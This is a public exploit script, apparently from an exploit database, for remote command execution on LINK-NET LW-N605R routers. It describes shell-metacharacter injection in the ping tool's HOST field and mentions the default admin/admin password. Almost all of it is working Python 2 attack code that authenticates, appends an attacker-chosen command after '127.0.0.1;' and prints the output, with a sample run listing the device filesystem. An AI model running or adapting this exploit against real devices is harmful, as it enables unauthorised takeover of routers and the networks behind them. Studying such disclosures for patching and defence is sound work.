# Title: LW-N605R 12.20.2.1486 - Remote Code Execution
# Date: 2018-09-09
# Author: Nassim Asrir
# Vendor: LINK-NET
# Product Link: http://linknet-usa.com/main/product_info.php?products_id=35&language=es
# Firmware version: 12.20.2.1486
# CVE: N/A
# Description: LW-N605R devices allow Remote Code Execution via shell metacharacters in the
# HOST field of the ping feature at adm/systools.asp.
# Authentication is needed but the default password of admin for the admin
# account may be used in some cases.
# Example:
# [root@parrot]─[/home/sniperpex/Desktop]
# #python ./blue.py -t http://host/ -c ls -u admin -p admin
'''
_ __ __ _ _ __ ___ ____ ____ _____ _ _ _
| |\ \ / / | \ | |/ /_ / _ \| ___|| _ \ | ____|_ ___ __ | | ___ (_) |_
| | \ \ /\ / /____| \| | '_ \| | | |___ \| |_) | | _| \ \/ / '_ \| |/ _ \| | __|
| |__\ V V /_____| |\ | (_) | |_| |___) | _ < | |___ > <| |_) | | (_) | | |_
|_____\_/\_/ |_| \_|\___/ \___/|____/|_| \_\ |_____/_/\_\ .__/|_|\___/|_|\__|
|_|
@AsrirNassim
[+] Connection in progress...
[+] Authentication in progress...
[+] Username & Password: OK
[+] Checking for vulnerability...
[!] Command "ls": was executed!
var
usr
tmp
sys
sbin
proc
mnt
media
lib
init
home
etc_ro
etc
dev
bin
'''
import urllib2
import base64
import optparse
import sys
import bs4
banner = """
_ __ __ _ _ __ ___ ____ ____ _____ _ _ _
| |\ \ / / | \ | |/ /_ / _ \| ___|| _ \ | ____|_ ___ __ | | ___ (_) |_
| | \ \ /\ / /____| \| | '_ \| | | |___ \| |_) | | _| \ \/ / '_ \| |/ _ \| | __|
| |__\ V V /_____| |\ | (_) | |_| |___) | _ < | |___ > <| |_) | | (_) | | |_
|_____\_/\_/ |_| \_|\___/ \___/|____/|_| \_\ |_____/_/\_\ .__/|_|\___/|_|\__|
|_|
@AsrirNassim
"""
# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url+"/goform/sysTools"
def connectionScan(url,user,pwd,cmd):
print '[+] Connection in progress...'
try:
response = urllib2.Request(url)
content = urllib2.urlopen(response)
print '[X] LW-N605R Authentication not found'
except urllib2.HTTPError, e:
if e.code == 404:
print '[X] Page not found'
elif e.code == 401:
try:
print '[+] Authentication in progress...'
base64string = base64.encodestring('%s:%s' % (user, pwd)).replace('\n', '')
response = urllib2.Request(url+"/goform/sysTools?tool=0&pingCount=4&host=127.0.0.1;"+cmd+"&sumbit=OK", None)
response.add_header("Authorization", "Basic %s" % base64string)
content = urllib2.urlopen(response).read()
if "putmsg(mPingCount);" in content:
print '[+] Username & Password: OK'
print '[+] Checking for vulnerability...'
if 'e' in content:
print '[!] Command "'+cmd+'": was executed!'
else:
print '[X] Not Vulnerable :('
else:
print '[X] No LW-N605R page found'
soup = bs4.BeautifulSoup(content, 'html.parser')
for textarea in soup.find_all('textarea'):
print textarea.get_text()
except urllib2.HTTPError, e:
if e.code == 401:
print '[X] Wrong username or password'
else:
print '[X] HTTP Error: '+str(e.code)
except urllib2.URLError:
print '[X] Connection Error'
else:
print '[X] HTTP Error: '+str(e.code)
except urllib2.URLError:
print '[X] Connection Error'
commandList = optparse.OptionParser('usage: %prog -t https://target:444/ -u admin -p pwd -c "ls"')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL",
)
commandList.add_option('-c', '--cmd', action="store",
help="Insert command name",
)
commandList.add_option('-u', '--user', action="store",
help="Insert username",
)
commandList.add_option('-p', '--pwd', action="store",
help="Insert password",
)
options, remainder = commandList.parse_args()
# Check args
if not options.target or not options.cmd or not options.user or not options.pwd:
print(banner)
commandList.print_help()
sys.exit(1)
print(banner)
url = checkurl(options.target)
cmd = options.cmd
user = options.user
pwd = options.pwd
connectionScan(url,user,pwd,cmd)
None
anonymous
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